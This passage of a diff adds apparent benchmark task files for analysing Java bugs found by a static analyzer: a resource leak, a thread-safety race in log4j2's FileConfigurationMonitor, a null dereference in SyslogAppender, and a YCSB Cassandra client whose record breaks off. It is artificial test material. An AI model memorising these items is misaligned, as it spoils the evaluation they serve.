+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `new()` at line 193 is not released after line 200.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+String LoggerContextAdmin.readContents(URI,Charset)
+
+### Procedure Id:
+org.apache.logging.log4j.core.jmx.LoggerContextAdmin.readContents(java.net.URI,java.nio.charset.Char.a31fbb175bcd5be4f70b4bd1b7470245
+
+### File:
+core/src/main/java/org/apache/logging/log4j/core/jmx/LoggerContextAdmin.java
+
+### Key:
+LoggerContextAdmin.java|readContents|RESOURCE_LEAK
+
+### Node Key:
+c3a0f41ebe4e1f490ccd067c600659db
+
+### Hash:
+f2457bf5ac894828bc778ba70dadf5a5
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7941/instruction.md b/inferredbugs-7941/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..03927637af489bc11129cb39272f36a9ac02a97e
--- /dev/null
+++ b/inferredbugs-7941/instruction.md
@@ -0,0 +1,185 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** logging-log4j2
+**Bug ID:** 78
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache license, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the license for the specific language governing permissions and
+ * limitations under the license.
+ */
+package org.apache.logging.log4j.core.config;
+
+import java.io.File;
+import java.util.List;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
+
+/**
+ * Configuration monitor that periodically checks the timestamp of the configuration file and calls the
+ * ConfigurationListeners when an update occurs.
+ */
+public class FileConfigurationMonitor implements ConfigurationMonitor {
+
+    private static final int MASK = 0x0f;
+
+    private static final int MIN_INTERVAL = 5;
+
+    private static final int MILLIS_PER_SECOND = 1000;
+
+    private final File file;
+
+    private long lastModified;
+
+    private final List<ConfigurationListener> listeners;
+
+    private final int intervalSeconds;
+
+    private long nextCheck;
+
+    private final AtomicInteger counter = new AtomicInteger(0);
+
+    private static final Lock LOCK = new ReentrantLock();
+
+    private final Reconfigurable reconfigurable;
+
+    /**
+     * Constructor.
+     * @param reconfigurable The Configuration that can be reconfigured.
+     * @param file The File to monitor.
+     * @param listeners The List of ConfigurationListeners to notify upon a change.
+     * @param intervalSeconds The monitor interval in seconds. The minimum interval is 5 seconds.
+     */
+    public FileConfigurationMonitor(final Reconfigurable reconfigurable, final File file,
+                                    final List<ConfigurationListener> listeners,
+                                    final int intervalSeconds) {
+        this.reconfigurable = reconfigurable;
+        this.file = file;
+        this.lastModified = file.lastModified();
+        this.listeners = listeners;
+        this.intervalSeconds = (intervalSeconds < MIN_INTERVAL ? MIN_INTERVAL : intervalSeconds) * MILLIS_PER_SECOND;
+        this.nextCheck = System.currentTimeMillis() + intervalSeconds;
+    }
+
+    /**
+     * Called to determine if the configuration has changed.
+     */
+    @Override
+    public void checkConfiguration() {
+        final long current;
+        if (((counter.incrementAndGet() & MASK) == 0) && ((current = System.currentTimeMillis()) >= nextCheck)) {
+            LOCK.lock();
+            try {
+                nextCheck = current + intervalSeconds;
+                if (file.lastModified() > lastModified) {
+                    lastModified = file.lastModified();
+                    for (final ConfigurationListener listener : listeners) {
+                        final Thread thread = new Thread(new ReconfigurationWorker(listener, reconfigurable));
+                        thread.setDaemon(true);
+                        thread.start();
+                    }
+                }
+            } finally {
+                LOCK.unlock();
+            }
+        }
+    }
+
+    private class ReconfigurationWorker implements Runnable {
+
+        private final ConfigurationListener listener;
+        private final Reconfigurable reconfigurable;
+
+        public ReconfigurationWorker(final ConfigurationListener listener, final Reconfigurable reconfigurable) {
+            this.listener = listener;
+            this.reconfigurable = reconfigurable;
+        }
+
+        @Override
+        public void run() {
+            listener.onChange(reconfigurable);
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.apache.logging.log4j.core.config.FileConfigurationMonitor.checkConfiguration` reads without synchronization from `this.org.apache.logging.log4j.core.config.FileConfigurationMonitor.nextCheck`. Potentially races with write in method `FileConfigurationMonitor.checkConfiguration()`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void FileConfigurationMonitor.checkConfiguration()
+
+### Procedure Id:
+org.apache.logging.log4j.core.config.FileConfigurationMonitor.checkConfiguration():void.2f9c742a5adef5d66081fdf9eebbb51b
+
+### File:
+log4j-core/src/main/java/org/apache/logging/log4j/core/config/FileConfigurationMonitor.java
+
+### Key:
+FileConfigurationMonitor.java|checkConfiguration|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+c3eff2f7a0d7530efd1d50c1498734e3
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7946/instruction.md b/inferredbugs-7946/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f8d087bf4a6e9807840ca01c59da48266367fa74
--- /dev/null
+++ b/inferredbugs-7946/instruction.md
@@ -0,0 +1,224 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** logging-log4j2
+**Bug ID:** 22
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache license, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the license for the specific language governing permissions and
+ * limitations under the license.
+ */
+package org.apache.logging.log4j.core.appender;
+
+import java.io.Serializable;
+
+import org.apache.logging.log4j.core.Filter;
+import org.apache.logging.log4j.core.Layout;
+import org.apache.logging.log4j.core.config.Configuration;
+import org.apache.logging.log4j.core.config.plugins.Plugin;
+import org.apache.logging.log4j.core.config.plugins.PluginAttr;
+import org.apache.logging.log4j.core.config.plugins.PluginConfiguration;
+import org.apache.logging.log4j.core.config.plugins.PluginElement;
+import org.apache.logging.log4j.core.config.plugins.PluginFactory;
+import org.apache.logging.log4j.core.layout.LoggerFields;
+import org.apache.logging.log4j.core.layout.RFC5424Layout;
+import org.apache.logging.log4j.core.layout.SyslogLayout;
+import org.apache.logging.log4j.core.net.AbstractSocketManager;
+import org.apache.logging.log4j.core.net.Advertiser;
+import org.apache.logging.log4j.core.net.Protocol;
+import org.apache.logging.log4j.util.EnglishEnums;
+
+/**
+ * The Syslog Appender.
+ *
+ * @param <T> The {@link Layout}'s {@link Serializable} type.
+ */
+@Plugin(name = "Syslog", category = "Core", elementType = "appender", printObject = true)
+public class SyslogAppender<T extends Serializable> extends SocketAppender<T> {
+
+    private static final String BSD = "bsd";
+
+    private static final String RFC5424 = "RFC5424";
+
+    protected SyslogAppender(final String name, final Layout<T> layout, final Filter filter,
+                             final boolean handleException, final boolean immediateFlush,
+                             final AbstractSocketManager manager, final Advertiser advertiser) {
+        super(name, layout, filter, manager, handleException, immediateFlush, advertiser);
+
+    }
+
+    /**
+     * Create a SyslogAppender.
+     * @param host The name of the host to connect to.
+     * @param portNum The port to connect to on the target host.
+     * @param protocol The Protocol to use.
+     * @param delay The interval in which failed writes should be retried.
+     * @param immediateFail True if the write should fail if no socket is immediately available.
+     * @param name The name of the Appender.
+     * @param immediateFlush "true" if data should be flushed on each write.
+     * @param suppress "true" if exceptions should be hidden from the application, "false" otherwise.
+     * The default is "true".
+     * @param facility The Facility is used to try to classify the message.
+     * @param id The default structured data id to use when formatting according to RFC 5424.
+     * @param ein The IANA enterprise number.
+     * @param includeMDC Indicates whether data from the ThreadContextMap will be included in the RFC 5424 Syslog
+     * record. Defaults to "true:.
+     * @param mdcId The id to use for the MDC Structured Data Element.
+     * @param mdcPrefix The prefix to add to MDC key names.
+     * @param eventPrefix The prefix to add to event key names.
+     * @param includeNL If true, a newline will be appended to the end of the syslog record. The default is false.
+     * @param escapeNL String that should be used to replace newlines within the message text.
+     * @param appName The value to use as the APP-NAME in the RFC 5424 syslog record.
+     * @param msgId The default value to be used in the MSGID field of RFC 5424 syslog records.
+     * @param excludes A comma separated list of mdc keys that should be excluded from the LogEvent.
+     * @param includes A comma separated list of mdc keys that should be included in the FlumeEvent.
+     * @param required A comma separated list of mdc keys that must be present in the MDC.
+     * @param format If set to "RFC5424" the data will be formatted in accordance with RFC 5424. Otherwise,
+     * it will be formatted as a BSD Syslog record.
+     * @param filter A Filter to determine if the event should be handled by this Appender.
+     * @param config The Configuration.
+     * @param charsetName The character set to use when converting the syslog String to a byte array.
+     * @param exceptionPattern The converter pattern to use for formatting exceptions.
+     * @param loggerFields The logger fields
+     * @param advertise Whether to advertise
+     * @param <S> The {@link Layout}'s {@link Serializable} type.
+     * @return A SyslogAppender.
+     */
+    @PluginFactory
+    public static <S extends Serializable> SyslogAppender<S> createAppender(@PluginAttr("host") final String host,
+                                                @PluginAttr("port") final String portNum,
+                                                @PluginAttr("protocol") final String protocol,
+                                                @PluginAttr("reconnectionDelay") final String delay,
+                                                @PluginAttr("immediateFail") final String immediateFail,
+                                                @PluginAttr("name") final String name,
+                                                @PluginAttr("immediateFlush") final String immediateFlush,
+                                                @PluginAttr("suppressExceptions") final String suppress,
+                                                @PluginAttr("facility") final String facility,
+                                                @PluginAttr("id") final String id,
+                                                @PluginAttr("enterpriseNumber") final String ein,
+                                                @PluginAttr("includeMDC") final String includeMDC,
+                                                @PluginAttr("mdcId") final String mdcId,
+                                                @PluginAttr("mdcPrefix") final String mdcPrefix,
+                                                @PluginAttr("eventPrefix") final String eventPrefix,
+                                                @PluginAttr("newLine") final String includeNL,
+                                                @PluginAttr("newLineEscape") final String escapeNL,
+                                                @PluginAttr("appName") final String appName,
+                                                @PluginAttr("messageId") final String msgId,
+                                                @PluginAttr("mdcExcludes") final String excludes,
+                                                @PluginAttr("mdcIncludes") final String includes,
+                                                @PluginAttr("mdcRequired") final String required,
+                                                @PluginAttr("format") final String format,
+                                                @PluginElement("filters") final Filter filter,
+                                                @PluginConfiguration final Configuration config,
+                                                @PluginAttr("charset") final String charsetName,
+                                                @PluginAttr("exceptionPattern") final String exceptionPattern,
+                                                @PluginElement("LoggerFields") final LoggerFields loggerFields,
+                                                @PluginAttr("advertise") final String advertise) {
+
+        final boolean isFlush = immediateFlush == null ? true : Boolean.valueOf(immediateFlush);
+        final boolean handleExceptions = suppress == null ? true : Boolean.valueOf(suppress);
+        final int reconnectDelay = delay == null ? 0 : Integer.parseInt(delay);
+        final boolean fail = immediateFail == null ? true : Boolean.valueOf(immediateFail);
+        final int port = portNum == null ? 0 : Integer.parseInt(portNum);
+        final boolean isAdvertise = advertise == null ? false : Boolean.valueOf(advertise);
+        @SuppressWarnings("unchecked")
+        final Layout<S> layout = (Layout<S>) (RFC5424.equalsIgnoreCase(format) ?
+            RFC5424Layout.createLayout(facility, id, ein, includeMDC, mdcId, mdcPrefix, eventPrefix, includeNL,
+                escapeNL, appName, msgId, excludes, includes, required, exceptionPattern, loggerFields, config) :
+            SyslogLayout.createLayout(facility, includeNL, escapeNL, charsetName));
+
+        if (name == null) {
+            LOGGER.error("No name provided for SyslogAppender");
+            return null;
+        }
+        final String prot = protocol != null ? protocol : Protocol.UDP.name();
+        final Protocol p = EnglishEnums.valueOf(Protocol.class, protocol);
+        final AbstractSocketManager manager = createSocketManager(p, host, port, reconnectDelay, fail, layout);
+        if (manager == null) {
+            return null;
+        }
+
+        return new SyslogAppender<S>(name, layout, filter, handleExceptions, isFlush, manager,
+                isAdvertise ? config.getAdvertiser() : null);
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `p` last assigned on line 141 could be null and is dereferenced by call to `createSocketManager(...)` at line 142.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+SyslogAppender SyslogAppender.createAppender(String,String,String,String,String,String,String,String,String,String,String,String,String,String,String,String,String,String,String,String,String,String,String,Filter,Configuration,String,String,LoggerFields,String)
+
+### Procedure Id:
+org.apache.logging.log4j.core.appender.SyslogAppender.createAppender(java.lang.String,java.lang.Stri.d0d9b54c32249048290e30a451732d83
+
+### File:
+core/src/main/java/org/apache/logging/log4j/core/appender/SyslogAppender.java
+
+### Key:
+SyslogAppender.java|createAppender|NULL_DEREFERENCE
+
+### Node Key:
+dd9ca3717f6177bdf4b1ff3644b6e43a
+
+### Hash:
+bc1d8f5898e8371337ccb65059940423
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7948/instruction.md b/inferredbugs-7948/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..473b49f4b404b5fe281354bf8af0f391511f405b
--- /dev/null
+++ b/inferredbugs-7948/instruction.md
@@ -0,0 +1,573 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** YCSB
+**Bug ID:** 32
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Copyright (c) 2013-2015 YCSB contributors. All rights reserved.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License. See accompanying LICENSE file.
+ *
+ * Submitted by Chrisjan Matser on 10/11/2010.
+ */
+package com.yahoo.ycsb.db;
+
+import com.datastax.driver.core.Cluster;
+import com.datastax.driver.core.ColumnDefinitions;
+import com.datastax.driver.core.ConsistencyLevel;
+import com.datastax.driver.core.Host;
+import com.datastax.driver.core.HostDistance;
+import com.datastax.driver.core.Metadata;
+import com.datastax.driver.core.ResultSet;
+import com.datastax.driver.core.Row;
+import com.datastax.driver.core.Session;
+import com.datastax.driver.core.SimpleStatement;
+import com.datastax.driver.core.Statement;
+import com.datastax.driver.core.querybuilder.Insert;
+import com.datastax.driver.core.querybuilder.QueryBuilder;
+import com.datastax.driver.core.querybuilder.Select;
+import com.yahoo.ycsb.ByteArrayByteIterator;
+import com.yahoo.ycsb.ByteIterator;
+import com.yahoo.ycsb.DB;
+import com.yahoo.ycsb.DBException;
+import com.yahoo.ycsb.Status;
+
+import java.nio.ByteBuffer;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Set;
+import java.util.Vector;
+import java.util.concurrent.atomic.AtomicInteger;
+
+/**
+ * Cassandra 2.x CQL client.
+ *
+ * See {@code cassandra2/README.md} for details.
+ *
+ * @author cmatser
+ */
+public class CassandraCQLClient extends DB {
+
+  private static Cluster cluster = null;
+  private static Session session = null;
+
+  private static ConsistencyLevel readConsistencyLevel = ConsistencyLevel.ONE;
+  private static ConsistencyLevel writeConsistencyLevel = ConsistencyLevel.ONE;
+
+  public static final String YCSB_KEY = "y_id";
+  public static final String KEYSPACE_PROPERTY = "cassandra.keyspace";
+  public static final String KEYSPACE_PROPERTY_DEFAULT = "ycsb";
+  public static final String USERNAME_PROPERTY = "cassandra.username";
+  public static final String PASSWORD_PROPERTY = "cassandra.password";
+
+  public static final String HOSTS_PROPERTY = "hosts";
+  public static final String PORT_PROPERTY = "port";
+  public static final String PORT_PROPERTY_DEFAULT = "9042";
+
+  public static final String READ_CONSISTENCY_LEVEL_PROPERTY =
+      "cassandra.readconsistencylevel";
+  public static final String READ_CONSISTENCY_LEVEL_PROPERTY_DEFAULT = "ONE";
+  public static final String WRITE_CONSISTENCY_LEVEL_PROPERTY =
+      "cassandra.writeconsistencylevel";
+  public static final String WRITE_CONSISTENCY_LEVEL_PROPERTY_DEFAULT = "ONE";
+
+  public static final String MAX_CONNECTIONS_PROPERTY =
+      "cassandra.maxconnections";
+  public static final String CORE_CONNECTIONS_PROPERTY =
+      "cassandra.coreconnections";
+  public static final String CONNECT_TIMEOUT_MILLIS_PROPERTY =
+      "cassandra.connecttimeoutmillis";
+  public static final String READ_TIMEOUT_MILLIS_PROPERTY =
+      "cassandra.readtimeoutmillis";
+
+  public static final String TRACING_PROPERTY = "cassandra.tracing";
+  public static final String TRACING_PROPERTY_DEFAULT = "false";
+  
+  /**
+   * Count the number of times initialized to teardown on the last
+   * {@link #cleanup()}.
+   */
+  private static final AtomicInteger INIT_COUNT = new AtomicInteger(0);
+
+  private static boolean debug = false;
+
+  private static boolean trace = false;
+  
+  /**
+   * Initialize any state for this DB. Called once per DB instance; there is one
+   * DB instance per client thread.
+   */
+  @Override
+  public void init() throws DBException {
+
+    // Keep track of number of calls to init (for later cleanup)
+    INIT_COUNT.incrementAndGet();
+
+    // Synchronized so that we only have a single
+    // cluster/session instance for all the threads.
+    synchronized (INIT_COUNT) {
+
+      // Check if the cluster has already been initialized
+      if (cluster != null) {
+        return;
+      }
+
+      try {
+
+        debug =
+            Boolean.parseBoolean(getProperties().getProperty("debug", "false"));
+        trace = Boolean.valueOf(getProperties().getProperty(TRACING_PROPERTY, TRACING_PROPERTY_DEFAULT));
+        
+        String host = getProperties().getProperty(HOSTS_PROPERTY);
+        if (host == null) {
+          throw new DBException(String.format(
+              "Required property \"%s\" missing for CassandraCQLClient",
+              HOSTS_PROPERTY));
+        }
+        String[] hosts = host.split(",");
+        String port = getProperties().getProperty(PORT_PROPERTY, PORT_PROPERTY_DEFAULT);
+
+        String username = getProperties().getProperty(USERNAME_PROPERTY);
+        String password = getProperties().getProperty(PASSWORD_PROPERTY);
+
+        String keyspace = getProperties().getProperty(KEYSPACE_PROPERTY,
+            KEYSPACE_PROPERTY_DEFAULT);
+
+        readConsistencyLevel = ConsistencyLevel.valueOf(
+            getProperties().getProperty(READ_CONSISTENCY_LEVEL_PROPERTY,
+                READ_CONSISTENCY_LEVEL_PROPERTY_DEFAULT));
+        writeConsistencyLevel = ConsistencyLevel.valueOf(
+            getProperties().getProperty(WRITE_CONSISTENCY_LEVEL_PROPERTY,
+                WRITE_CONSISTENCY_LEVEL_PROPERTY_DEFAULT));
+
+        if ((username != null) && !username.isEmpty()) {
+          cluster = Cluster.builder().withCredentials(username, password)
+              .withPort(Integer.valueOf(port)).addContactPoints(hosts).build();
+        } else {
+          cluster = Cluster.builder().withPort(Integer.valueOf(port))
+              .addContactPoints(hosts).build();
+        }
+
+        String maxConnections = getProperties().getProperty(
+            MAX_CONNECTIONS_PROPERTY);
+        if (maxConnections != null) {
+          cluster.getConfiguration().getPoolingOptions()
+              .setMaxConnectionsPerHost(HostDistance.LOCAL,
+              Integer.valueOf(maxConnections));
+        }
+
+        String coreConnections = getProperties().getProperty(
+            CORE_CONNECTIONS_PROPERTY);
+        if (coreConnections != null) {
+          cluster.getConfiguration().getPoolingOptions()
+              .setCoreConnectionsPerHost(HostDistance.LOCAL,
+              Integer.valueOf(coreConnections));
+        }
+
+        String connectTimoutMillis = getProperties().getProperty(
+            CONNECT_TIMEOUT_MILLIS_PROPERTY);
+        if (connectTimoutMillis != null) {
+          cluster.getConfiguration().getSocketOptions()
+              .setConnectTimeoutMillis(Integer.valueOf(connectTimoutMillis));
+        }
+
+        String readTimoutMillis = getProperties().getProperty(
+            READ_TIMEOUT_MILLIS_PROPERTY);
+        if (readTimoutMillis != null) {
+          cluster.getConfiguration().getSocketOptions()
+              .setReadTimeoutMillis(Integer.valueOf(readTimoutMillis));
+        }
+
+        Metadata metadata = cluster.getMetadata();
+        System.err.printf("Connected to cluster: %s\n",
+            metadata.getClusterName());
+
+        for (Host discoveredHost : metadata.getAllHosts()) {
+          System.out.printf("Datacenter: %s; Host: %s; Rack: %s\n",
+              discoveredHost.getDatacenter(), discoveredHost.getAddress(),
+              discoveredHost.getRack());
+        }
+
+        session = cluster.connect(keyspace);
+
+      } catch (Exception e) {
+        throw new DBException(e);
+      }
+    } // synchronized
+  }
+
+  /**
+   * Cleanup any state for this DB. Called once per DB instance; there is one DB
+   * instance per client thread.
+   */
+  @Override
+  public void cleanup() throws DBException {
+    synchronized (INIT_COUNT) {
+      final int curInitCount = INIT_COUNT.decrementAndGet();
+      if (curInitCount <= 0) {
+        session.close();
+        cluster.close();
+        cluster = null;
+        session = null;
+      }
+      if (curInitCount < 0) {
+        // This should never happen.
+        throw new DBException(
+            String.format("initCount is negative: %d", curInitCount));
+      }
+    }
+  }
+
+  /**
+   * Read a record from the database. Each field/value pair from the result will
+   * be stored in a HashMap.
+   *
+   * @param table
+   *          The name of the table
+   * @param key
+   *          The record key of the record to read.
+   * @param fields
+   *          The list of fields to read, or null for all of them
+   * @param result
+   *          A HashMap of field/value pairs for the result
+   * @return Zero on success, a non-zero error code on error
+   */
+  @Override
+  public Status read(String table, String key, Set<String> fields,
+      Map<String, ByteIterator> result) {
+    try {
+      Statement stmt;
+      Select.Builder selectBuilder;
+
+      if (fields == null) {
+        selectBuilder = QueryBuilder.select().all();
+      } else {
+        selectBuilder = QueryBuilder.select();
+        for (String col : fields) {
+          ((Select.Selection) selectBuilder).column(col);
+        }
+      }
+
+      stmt = selectBuilder.from(table).where(QueryBuilder.eq(YCSB_KEY, key))
+          .limit(1);
+      stmt.setConsistencyLevel(readConsistencyLevel);
+
+      if (debug) {
+        System.out.println(stmt.toString());
+      }
+      if (trace) {
+        stmt.enableTracing();
+      }
+      
+      ResultSet rs = session.execute(stmt);
+
+      if (rs.isExhausted()) {
+        return Status.NOT_FOUND;
+      }
+
+      // Should be only 1 row
+      Row row = rs.one();
+      ColumnDefinitions cd = row.getColumnDefinitions();
+
+      for (ColumnDefinitions.Definition def : cd) {
+        ByteBuffer val = row.getBytesUnsafe(def.getName());
+        if (val != null) {
+          result.put(def.getName(), new ByteArrayByteIterator(val.array()));
+        } else {
+          result.put(def.getName(), null);
+        }
+      }
+
+      return Status.OK;
+
+    } catch (Exception e) {
+      e.printStackTrace();
+      System.out.println("Error reading key: " + key);
+      return Status.ERROR;
+    }
+
+  }
+
+  /**
+   * Perform a range scan for a set of records in the database. Each field/value
+   * pair from the result will be stored in a HashMap.
+   *
+   * Cassandra CQL uses "token" method for range scan which doesn't always yield
+   * intuitive results.
+   *
+   * @param table
+   *          The name of the table
+   * @param startkey
+   *          The record key of the first record to read.
+   * @param recordcount
+   *          The number of records to read
+   * @param fields
+   *          The list of fields to read, or null for all of them
+   * @param result
+   *          A Vector of HashMaps, where each HashMap is a set field/value
+   *          pairs for one record
+   * @return Zero on success, a non-zero error code on error
+   */
+  @Override
+  public Status scan(String table, String startkey, int recordcount,
+      Set<String> fields, Vector<HashMap<String, ByteIterator>> result) {
+
+    try {
+      Statement stmt;
+      Select.Builder selectBuilder;
+
+      if (fields == null) {
+        selectBuilder = QueryBuilder.select().all();
+      } else {
+        selectBuilder = QueryBuilder.select();
+        for (String col : fields) {
+          ((Select.Selection) selectBuilder).column(col);
+        }
+      }
+
+      stmt = selectBuilder.from(table);
+
+      // The statement builder is not setup right for tokens.
+      // So, we need to build it manually.
+      String initialStmt = stmt.toString();
+      StringBuilder scanStmt = new StringBuilder();
+      scanStmt.append(initialStmt.substring(0, initialStmt.length() - 1));
+      scanStmt.append(" WHERE ");
+      scanStmt.append(QueryBuilder.token(YCSB_KEY));
+      scanStmt.append(" >= ");
+      scanStmt.append("token('");
+      scanStmt.append(startkey);
+      scanStmt.append("')");
+      scanStmt.append(" LIMIT ");
+      scanStmt.append(recordcount);
+
+      stmt = new SimpleStatement(scanStmt.toString());
+      stmt.setConsistencyLevel(readConsistencyLevel);
+
+      if (debug) {
+        System.out.println(stmt.toString());
+      }
+      if (trace) {
+        stmt.enableTracing();
+      }
+      
+      ResultSet rs = session.execute(stmt);
+
+      HashMap<String, ByteIterator> tuple;
+      while (!rs.isExhausted()) {
+        Row row = rs.one();
+        tuple = new HashMap<String, ByteIterator>();
+
+        ColumnDefinitions cd = row.getColumnDefinitions();
+
+        for (ColumnDefinitions.Definition def : cd) {
+          ByteBuffer val = row.getBytesUnsafe(def.getName());
+          if (val != null) {
+            tuple.put(def.getName(), new ByteArrayByteIterator(val.array()));
+          } else {
+            tuple.put(def.getName(), null);
+          }
+        }
+
+        result.add(tuple);
+      }
+
+      return Status.OK;
+
+    } catch (Exception e) {
+      e.printStackTrace();
+      System.out.println("Error scanning with startkey: " + startkey);
+      return Status.ERROR;
+    }
+
+  }
+
+  /**
+   * Update a record in the database. Any field/value pairs in the specified
+   * values HashMap will be written into the record with the specified record
+   * key, overwriting any existing values with the same field name.
+   *
+   * @param table
+   *          The name of the table
+   * @param key
+   *          The record key of the record to write.
+   * @param values
+   *          A HashMap of field/value pairs to update in the record
+   * @return Zero on success, a non-zero error code on error
+   */
+  @Override
+  public Status update(String table, String key,
+                       Map<String, ByteIterator> values) {
+    // Insert and updates provide the same functionality
+    return insert(table, key, values);
+  }
+
+  /**
+   * Insert a record in the database. Any field/value pairs in the specified
+   * values HashMap will be written into the record with the specified record
+   * key.
+   *
+   * @param table
+   *          The name of the table
+   * @param key
+   *          The record key of the record to insert.
+   * @param values
+   *          A HashMap of field/value pairs to insert in the record
+   * @return Zero on success, a non-zero error code on error
+   */
+  @Override
+  public Status insert(String table, String key,
+      Map<String, ByteIterator> values) {
+
+    try {
+      Insert insertStmt = QueryBuilder.insertInto(table);
+
+      // Add key
+      insertStmt.value(YCSB_KEY, key);
+
+      // Add fields
+      for (Map.Entry<String, ByteIterator> entry : values.entrySet()) {
+        Object value;
+        ByteIterator byteIterator = entry.getValue();
+        value = byteIterator.toString();
+
+        insertStmt.value(entry.getKey(), value);
+      }
+
+      insertStmt.setConsistencyLevel(writeConsistencyLevel);
+
+      if (debug) {
+        System.out.println(insertStmt.toString());
+      }
+      if (trace) {
+        insertStmt.enableTracing();
+      }
+      
+      session.execute(insertStmt);
+
+      return Status.OK;
+    } catch (Exception e) {
+      e.printStackTrace();
+    }
+
+    return Status.ERROR;
+  }
+
+  /**
+   * Delete a record from the database.
+   *
+   * @param table
+   *          The name of the table
+   * @param key
+   *          The record key of the record to delete.
+   * @return Zero on success, a non-zero error code on error
+   */
+  @Override
+  public Status delete(String table, String key) {
+
+    try {
+      Statement stmt;
+
+      stmt = QueryBuilder.delete().from(table)
+          .where(QueryBuilder.eq(YCSB_KEY, key));
+      stmt.setConsistencyLevel(writeConsistencyLevel);
+
+      if (debug) {
+        System.out.println(stmt.toString());
+      }
+      if (trace) {
+        stmt.enableTracing();
+      }
+      
+      session.execute(stmt);
+
+      return Status.OK;
+    } catch (Exception e) {
+      e.printStackTrace();
+      System.out.println("Error deleting key: " + key);
+    }
+
+    return Status.ERROR;
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
